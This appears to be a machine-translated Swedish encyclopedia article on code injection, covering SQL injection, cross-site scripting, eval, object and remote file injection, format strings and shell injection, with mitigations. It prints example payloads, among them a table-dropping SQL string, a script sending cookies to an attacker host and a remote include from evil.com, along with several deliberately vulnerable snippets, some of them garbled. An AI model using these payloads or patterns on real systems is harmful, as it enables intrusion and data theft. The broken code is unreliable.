SQL-injektionRedigera

SQL-injektion utnyttjar syntaxen i SQL för att injicera kommandon som kan läsa eller ändra en databas, eller äventyra innebörden av den ursprungliga frågan.

Tänk till exempel på en webbsida som har två fält där användare kan skriva in ett användarnamn och ett lösenord. Koden bakom sidan genererar en SQL-fråga för att kontrollera lösenordet mot listan över användarnamn:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'

Om denna fråga returnerar några rader är åtkomst beviljad. Men om den illasinnade användaren anger ett giltigt användarnamn och injicerar en giltig kod (password' OR '1'='1) i fältet Lösenord, kommer den resulterande frågan att se ut så här:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'

I exemplet ovan antas ”Lösenord” vara tomt eller en oskyldig sträng. ”'1'='1'” kommer alltid att vara sant och många rader kommer att returneras, vilket möjliggör åtkomst.

Tekniken kan förfinas så att flera uttalanden kan köras, eller till och med så att externa program kan laddas in och köras.

Anta en fråga med följande format:

SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '

Om en motståndare har följande som indata:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

Frågan kommer att tolkas som:

SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

Resultatet är att tabellen User kommer att tas bort från databasen. Detta beror på att symbolen ; innebär slutet på ett kommando och början på ett nytt. -- betecknar början på en kommentar.

Cross-site scriptingRedigera

Kodinjektion är den skadliga injektionen eller införandet av kod i ett program. Vissa webbservrar har ett gästboksskript som tar emot små meddelanden från användarna och tar vanligtvis emot meddelanden som:

Very nice site!

Hur som helst kan en illvillig person känna till en sårbarhet för kodinjektion i gästboken och skriva in ett meddelande som:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Om en annan användare tittar på sidan kommer den injicerade koden att köras. Denna kod kan göra det möjligt för angriparen att utge sig för att vara en annan användare. Samma programvarubugg kan dock oavsiktligt utlösas av en anspråkslös användare, vilket gör att webbplatsen visar dålig HTML-kod.

HTML- och skriptinjektion är ett populärt ämne som vanligen benämns ”cross-site scripting” eller ”XSS”. XSS avser ett injektionsfel som innebär att användarens inmatning till ett webbskript eller något liknande placeras i den utgående HTML-koden, utan att kontrolleras för HTML-kod eller skript.

Många av dessa problem är relaterade till felaktiga antaganden om vilka inmatningsdata som är möjliga, eller effekterna av speciella data.

Sårbarheter vid dynamisk utvärderingEdit

En sårbarhet vid eval()-injektion uppstår när en angripare kan kontrollera hela eller delar av en inmatningssträng som matas in i ett eval()-funktionsanrop.

$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');

Argumentet ”eval” kommer att behandlas som PHP, så att ytterligare kommandon kan bifogas. Om till exempel ”arg” sätts till ”10; system('/bin/echo uh-oh')” körs ytterligare kod som utför ett program på servern, i det här fallet ”/bin/echo”.

ObjektinjektionRedigera

PHP tillåter serialisering och deserialisering av hela objekt. Om otillförlitlig inmatning tillåts i deserialiseringsfunktionen är det möjligt att skriva över befintliga klasser i programmet och utföra skadliga attacker. En sådan attack på Joomla hittades 2013.

Remote file injectionRedigera

Konsultera detta PHP-program (som inkluderar en fil som specificeras genom begäran):

<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');

Exemplet kan läsas som att endast färgfiler som blue.php och red.php kan laddas, medan angripare kan tillhandahålla COLOR=http://evil.com/exploit vilket får PHP att ladda den externa filen.

Formatspecificer injektionRedigera

Formatsträngfel förekommer oftast när en programmerare vill skriva ut en sträng som innehåller data som tillhandahållits av användaren. Programmeraren kan av misstag skriva printf(buffer) istället för printf("%s", buffer). Den första versionen tolkar buffer som en formatsträng och analyserar eventuella formateringsinstruktioner som den kan innehålla. Den andra versionen skriver helt enkelt ut en sträng på skärmen, så som programmeraren hade tänkt sig. Tänk på följande korta C-program som har en lokal variabel char array password som innehåller ett lösenord; programmet frågar användaren om ett heltal och en sträng, och ekar sedan ut den sträng som användaren tillhandahåller.

 char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;

Om användarens inmatning fylls med en lista med formatspecifikationer, till exempel %s%s%s%s%s%s%s%s , så kommer printf() att börja läsa från stapeln. Så småningom kommer en av formatspecifikatorerna %s att få tillgång till adressen password , som finns på stapeln, och skriva ut Password1 på skärmen.

Shell injectionRedigera

Shell injection (eller command injection) har fått sitt namn efter Unix-shells, men gäller för de flesta system som tillåter programvaror att programmatiskt utföra en kommandorad. Här är ett exempel på ett sårbart tcsh-skript:

#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches

Om ovanstående sparas i den körbara filen ./check kommer skalkommandot ./check " 1 ) evil" att försöka utföra det injicerade skalkommandot evil i stället för att jämföra argumentet med det konstanta. Här är den angripna koden den kod som försöker kontrollera parametern, just den kod som kanske hade försökt validera parametern för att försvara sig mot en attack.

Alla funktioner som kan användas för att komponera och köra ett skalkommando är ett potentiellt medel för att inleda en shell injection-attack. Bland dessa finns system(), StartProcess() och System.Diagnostics.Process.Start().

Klient-server-system, t.ex. interaktion mellan webbläsare och webbservrar, är potentiellt sårbara för shell injection. Tänk på följande korta PHP-program som kan köras på en webbserver för att köra ett externt program som heter funnytext för att ersätta ett ord som användaren skickat med något annat ord.

<?phppassthru("/bin/funnytext " . $_GET);

Den passthru i ovanstående komponerar ett skalkommando som sedan körs av webbservern. Eftersom en del av kommandot som komponeras hämtas från den webbadress som tillhandahålls av webbläsaren kan webbadressen användas för att injicera skadliga skalkommandon. Man kan injicera kod i detta program på flera sätt genom att utnyttja syntaxen för olika skalfunktioner (listan är inte uttömmande):

Vissa språk erbjuder funktioner för att på ett korrekt sätt undslippa eller citera strängar som används för att konstruera skalkommandon:

• PHP: escapeshellarg() och escapeshellcmd()
• Python: shlex.quote()

Detta innebär dock fortfarande att programmerarna måste känna till/lära sig om dessa funktioner och komma ihåg att använda dem varje gång de använder skalkommandon. Förutom att använda dessa funktioner rekommenderas även validering eller sanering av användarinmatningen.

Ett säkrare alternativ är att använda API:er som utför externa program direkt, snarare än via ett skal, vilket förhindrar möjligheten till shell injection. Dessa API:er tenderar dock att inte ha stöd för olika bekvämlighetsfunktioner i skalor och/eller att vara mer besvärliga/förströdda jämfört med kortfattad skal-syntax.